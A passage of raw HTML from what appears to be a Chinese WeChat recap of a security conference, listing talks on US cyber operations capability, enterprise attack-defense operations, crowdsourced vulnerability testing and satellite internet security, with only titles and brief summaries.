!important;font-style: normal;font-weight: 400;text-align: justify;font-size: 16px;"><section powered-by="xiumi.us" style="margin: 10px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: flex;flex-flow: row nowrap;text-align: left;justify-content: flex-start;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;height: auto;"><section powered-by="xiumi.us" style="margin: 0.5em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;background-color: rgb(255, 216, 0);height: 1px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section></section></span></section><section powered-by="xiumi.us" style="margin: 20px 0px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(246, 152, 106);font-size: 20px;"><p style="margin: 0px 0px 8px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;font-family: 等线;font-size: medium;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);line-height: 2em;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-decoration: none;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgb(51, 51, 51);float: none;display: inline !important;">首先由深蓝互联（北京 ）科技有限公司 CEO、蘑菇云创始人王得金，为我们带来主题演讲《美网络作战能力体系剖析》</span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 16px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgb(51, 51, 51);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 7px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgb(51, 51, 51);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">。</span></span></span></p><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;font-family: 等线;font-size: medium;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);line-height: 1.75em;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 16px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgb(51, 51, 51);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 7px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgb(51, 51, 51);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><img class="rich_pages wxw-img" data-backh="339" data-backw="578" data-croporisrc="https://mmbiz.qpic.cn/mmbiz_png/0HUPFawNZ7yVRqsCTIxcf9YialkFNXXMB3fnNETsLWPLicMn3s3icuv1effIDJkRytj9EDdzZoebxD30kHkJBZPBQ/640?wx_fmt=png" data-cropx1="32.33532934131737" data-cropx2="966.8263473053893" data-cropy1="46.909959921336295" data-cropy2="593.6536307286351" data-ratio="0.5867237687366167" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;height: auto !important;color: rgb(246, 152, 106);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;width: 677px;visibility: visible !important;" data-type="jpeg" data-w="934" src="https://wechat2rss.xlab.app/img-proxy/?k=6ccb211c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F0HUPFawNZ7wMUNfCmlSHx2Mg9Rr4iclntK1OET3XM0ogn7AuC4XCHKzhLGXak39V85dPcZO9CicQecUWfPDqSiaibw%2F640%3Fwx_fmt%3Djpeg%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></span></span></span></section><p style="margin: 8px 0px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;text-align: justify;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(61, 167, 66);"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 16px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-variant-ligatures: normal;orphans: 2;widows: 2;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;word-spacing: 0px;text-size-adjust: inherit;-webkit-text-stroke-width: 0px;text-decoration: none;float: none;display: inline !important;">议题分别从网络空间的指挥控制、美网军的作战思路演进、法律框架、管理框架以及技术框架四个方面展开，深度剖析了美国的网络空间作战能力体系。</span></span></span></p></section></section><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;clear: both;min-height: 1em;caret-color: rgb(51, 51, 51);text-align: left;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(61, 167, 66);"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-style: normal;font-weight: 400;text-align: justify;font-size: 16px;"><section powered-by="xiumi.us" style="margin: 10px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: flex;flex-flow: row nowrap;text-align: left;justify-content: flex-start;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;height: auto;"><section powered-by="xiumi.us" style="margin: 0.5em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;background-color: rgb(255, 216, 0);height: 1px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section></section><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: justify;color: rgb(246, 152, 106);font-size: 20px;font-family: mp-quote, -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(61, 167, 66);"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-variant-ligatures: normal;orphans: 2;widows: 2;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;float: none;display: inline !important;">紧接着由国网工匠、国网信息通信产业集团科研专家、国网思极网安科技（北京）有限公司资深安全专家、物联网安全实验室负责人赵明明，为大家带来演讲议题《企业攻防运营进化论》。</span></span></section><p style="margin: 0px 8px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;font-family: 等线;font-size: medium;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);line-height: 2em;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;"><img class="rich_pages wxw-img" data-backh="351" data-backw="562" data-croporisrc="https://mmbiz.qpic.cn/mmbiz_png/0HUPFawNZ7yVRqsCTIxcf9YialkFNXXMBPN0rOiawVKwSFkB2EyL65ENibCRsHBgqIl2E4Uj0cEzu5taB4C5SEEZA/640?wx_fmt=png" data-cropx1="31.578947368421055" data-cropx2="918.9473684210526" data-cropy1="60.00167888522022" data-cropy2="614.2277127987018" data-ratio="0.6245772266065389" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;height: auto !important;color: rgb(61, 167, 66);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgb(51, 51, 51);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;width: 661px;visibility: visible !important;" data-type="jpeg" data-w="887" src="https://wechat2rss.xlab.app/img-proxy/?k=8bc86447&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F0HUPFawNZ7wMUNfCmlSHx2Mg9Rr4iclntvAHUOFj37MktmPQONKIwnQFF2dCYChPlJPOVxtR1BwmSiac1LvEEiaIw%2F640%3Fwx_fmt%3Djpeg%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></span></p><p style="margin: 0px 0px 8px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(51, 51, 51);line-height: 2em;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 16px;">议题通过展示以企业攻防对抗如何促进网络安全实战能力，使大家对高效智能、动态迭代的企业攻防运营体系有了更多认识。</span></p></span></section><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;font-size: 16px;"><section powered-by="xiumi.us" style="margin: 10px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: flex;flex-flow: row nowrap;text-align: left;justify-content: flex-start;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;height: auto;"><section powered-by="xiumi.us" style="margin: 0.5em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;background-color: rgb(255, 216, 0);height: 1px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section></section><p style="margin: 0px 0px 8px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(51, 51, 51);line-height: 2em;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 16px;">随后，08sec 团队核心成员，工程师Smile带来演讲议题《以管理者视角分析漏洞众测》。</span></p><p style="margin: 0px 0px 0em;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;text-align: center;"><img class="rich_pages wxw-img" data-backh="353" data-backw="578" data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="353" data-galleryid="" data-ratio="0.61015625" data-s="300,640" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;vertical-align: bottom;height: auto !important;width: 677px;visibility: visible !important;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=b4b0f9cc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F0HUPFawNZ7yEIsxjMibMxoPl5BxmCjLYBjuCC8KMGAPAibjI1CwnkToXxN9HUj9JpCNdbQicUqWWwMAOWfUIrIibdQ%2F640%3Fwx_fmt%3Djpeg%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><p style="margin: 0px 0px 8px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(51, 51, 51);line-height: 2em;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 16px;">议题中条理清晰地分析了攻击者与管理者（甲方）之间的关联关系，漏洞众测项目成果价值，站在管理者的视角看待漏洞众测项目，以及如何引导攻击者、如何产生价值、产生什么类型的价值等精彩内容。</span></p><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;font-size: 16px;"><section powered-by="xiumi.us" style="margin: 10px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: flex;flex-flow: row nowrap;text-align: left;justify-content: flex-start;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;height: auto;"><section powered-by="xiumi.us" style="margin: 0.5em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;background-color: rgb(255, 216, 0);height: 1px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section></section><p style="margin: 0px 0px 8px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(51, 51, 51);line-height: 2em;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 16px;">接着由360未来安全研究院卫星安全专家郝经利为我们带来议题《卫星互联网安全演变》。</span></p><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(51, 51, 51);clear: both;min-height: 1em;line-height: 2em;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;"><img class="rich_pages wxw-img" data-backh="312" data-backw="578" data-croporisrc="https://mmbiz.qpic.cn/mmbiz_png/0HUPFawNZ7yVRqsCTIxcf9YialkFNXXMBY6ptu2lSxQbuv57Hjo3s7Zo5HEwuFeUDQo8GicWmI8qfAgf5yibBA4HA/640?wx_fmt=png" data-cropx1="21.017964071856287" data-cropx2="1078.3832335329341" data-cropy1="56.5868263473054" data-cropy2="627.305389221557" data-ratio="0.5392620624408704" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;height: auto !important;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;width: 677px;visibility: visible !important;" data-type="jpeg" data-w="1057" src="https://wechat2rss.xlab.app/img-proxy/?k=81a9bfb2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F0HUPFawNZ7wMUNfCmlSHx2Mg9Rr4iclntaj6XnxMqhqQkzA2uvs4uXZsRbzicFibwW0Mgoic0MgPAYGtUbZFlhI47Q%2F640%3Fwx_fmt%3Djpeg%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></span></section><p style="margin: 0px 0px 8px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(51, 